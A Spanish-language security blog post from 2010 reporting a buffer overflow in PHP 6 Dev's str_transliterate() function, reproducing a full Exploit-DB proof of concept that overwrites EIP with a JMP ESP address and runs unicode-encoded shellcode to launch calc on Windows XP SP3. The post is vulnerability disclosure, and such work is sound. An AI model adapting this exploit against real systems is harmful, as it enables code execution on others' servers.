5 may 2010

Buffer Overflow en PHP 6 Dev

Recientemente fue descubierto un fallo grave de seguridad en la versión de desarrollo de PHP 6, el lenguaje de programación mas utilizado para realizar aplicaciones web.

p7dDW Buffer Overflow en PHP 6 
Dev
El problema se encuentra en la funcion str_transliterate() que permite “traducir” un texto de un lenguaje a otro, pero a su vez no valida adecuadamente los parámetros de entrada y permite la ejecución de código por medio de un buffer overflow.

Les dejo una PoC que explota esta vulnerabilidad sobre servidor Apache, corriendo en Windows XP SP3 y permite ejecutar la calculadora del sistema:

    # Title: PHP 6.0 Dev str_transliterate() 0Day Buffer Overflow Exploit
    # EDB-ID: 12051
    # CVE-ID: ()
    # OSVDB-ID: ()
    # Author: Pr0T3cT10n
    # Published: 2010-04-04
    # Verified: yes
    # Download Exploit Code
    # Download Vulnerable app

    <?php
    error_reporting(0);
    #####################################################################
    ## PHP 6.0 Dev str_transliterate() 0Day Buffer Overflow Exploit
    ## Tested on WIN XP HEB SP3, Apache, PHP 6.0 Dev
    ## Buffer Overflow
    ## Bug discovered by Pr0T3cT10n, <[email protected]>
    ## Exploited by TheLeader, Debug
    ## SP. Thanks: HDM
    ## http://www.nullbyte.org.il
    #####################################################################
    ## This code should exploits a buffer overflow in the str_transliterate() function to call WinExec and execute CALC
    ## Take a look, 'unicode.semantics' has to be on!
    ## php.ini > unicode.semantics = on
    #####################################################################
    if(ini_get_bool('unicode.semantics')) {
    $buff = str_repeat("u4141", 256);
    $eip = "u1445u10A9"; # 0x10A91445 JMP ESP @ php6ts.dll
    $nops = str_repeat("u9090", 20);

    # WinExec Calc XP SP3 HEB Unicode-encoded shellcode
    $shellcode = "u02EBu05EBuF9E8uFFFFu33FFu5BC0u4388u8315u11C3uBB53u250Du7C86uD3FFu6163u636Cu414E";

    # WinExec Calc XP SP3 EN Unicode-encoded shellcode (added by muts)
    # $shellcode = "u02EBu05EBuF9E8uFFFFu33FFu5BC0u4388u8315u11C3uBB53u23ADu7C86uD3FFu6163u636Cu414E";

    $exploit = $buff.$eip.$nops.$shellcode;
    str_transliterate(0, $exploit, 0);
    } else {
    exit("Error! 'unicode.semantics' has be on!rn");
    }

    function ini_get_bool($a) {
    $b = ini_get($a);
    switch (strtolower($b)) {
    case 'on':
    case 'yes':
    case 'true':
    return 'assert.active' !== $a;
    case 'stdout':
    case 'stderr':
    return 'display_errors' === $a;
    default:
    return (bool) (int) $b;
    }
    }
    ?>

Hay que recordar que esta versión de PHP aun esta en desarrollo, pero no deja de ser inquietante este tipo de problemas de carácter critico, en un lenguaje de programación tan extendido en la red, como lo es PHP.

Mas Información:
PHP 6.0 Dev str_transliterate() 0Day Buffer Overflow Exploit
Codigo en exploit-db.com

Fuente: http://www.dragonjar.org/

Author & Editor

Ingeniero, me gusta la cyberseguridad, la programación y el blockchain.

0 Notaciones:

Publicar un comentario

Labels

0-day (12) 1337day (1) 8.8 (2) Adobe Acrobat (1) Android (2) Anonimato (1) Anonymous (9) BackDoor (2) BackTrack (15) badUSB (1) Base64 (1) Black Hat (7) BlackHat (1) Blackploit (30) Brute Force (3) Bug (106) Bypass Password (1) Bypass Redirect (1) C99 Shell (1) Carding (1) CheatSheet (15) Chilean Way (2) Conference (10) Cryptsetup (1) CSRF (1) DDoS (11) DEF CON (3) DEFCON (7) Dev (1) Diapositivas (1) Diseño Web (1) Distro Linux (27) Documental (2) DoS (2) Drupal (1) DuckDuckGo (1) E-zine (18) Ekoparty (1) Escaneo (4) España (1) Exploit (64) Ezine (1) Facebook (1) Fast-Info (44) FBI (1) Ficheros Binarios (1) Firefox (4) Flash (2) Forense (9) Fuerza Bruta (11) Fuga de Datos (1) GhostShell (1) GNU/Linux (4) Google (2) Guía (1) Hack T00LZ (135) Hack Tips (63) Hacked (6) Hacking (19) Hacking Hardware (5) HashCat (1) Herramientas (125) HighSecCON (1) Humor Geek (13) Infografía (1) Ingeniería Social (5) Inj3ct0r (1) Internet Explorer (3) Java (7) JavaScript (2) Kali (3) KitPloit (6) Leaks (22) Linux OS (79) LulzSec (1) Mac OS (10) Magazine (1) Malaware (3) Malaware Tools (12) Malware (1) Man in the Middle (15) Manuales (3) MD5 CRACK (4) Metasploit (57) MSSQL (1) MySQL (6) MySQL CRACK (1) Nmap (6) Nmap NSE (2) Noticias (200) NTLM CRACK (1) Ofuscar (5) OpenSolaris OS (1) OpenSSL (1) ORACLE (1) OWASP (3) Paper (10) PDF (7) PenTest (14) Perl (2) Phearking (13) Phishing (3) PHP (13) phpMyAdmin (1) PoC (1) Premios Bitacoras (1) Presentaciones (11) PRISM (1) Privacidad (2) Programación (12) Programas Linux (41) Programas Windows (41) Pwned (1) Python (5) Ransomware (1) Reconocimiento (5) Ruby (2) s (1) Scripts (7) Seguridad (150) Seguridad Web (139) Seguridad Wireless (19) Sensitive Data Exposure (2) SHA1 CRACK (1) Shellshock (1) Slides (1) Spoofing (1) Spyware (1) SQLi (19) SQLi Tools (7) SQLMap (2) SSH (1) Textos (74) Tips (57) Troyanos y Virus (11) Trucos (7) Trucos Win (7) Turiales (56) Tutoriales (18) Twitter (1) Ubuntu (2) Underc0de (1) UnderDOCS (1) Unlock (1) URL Redirection (1) UXSS (1) vBulletin (1) Video (48) Virtualización (2) Web T00LZ (16) Wifislax (1) Wikileaks (1) WikiRebels (1) Windows OS (65) Wireless Tools (13) XSS (16) Youtube (1)

 
biz.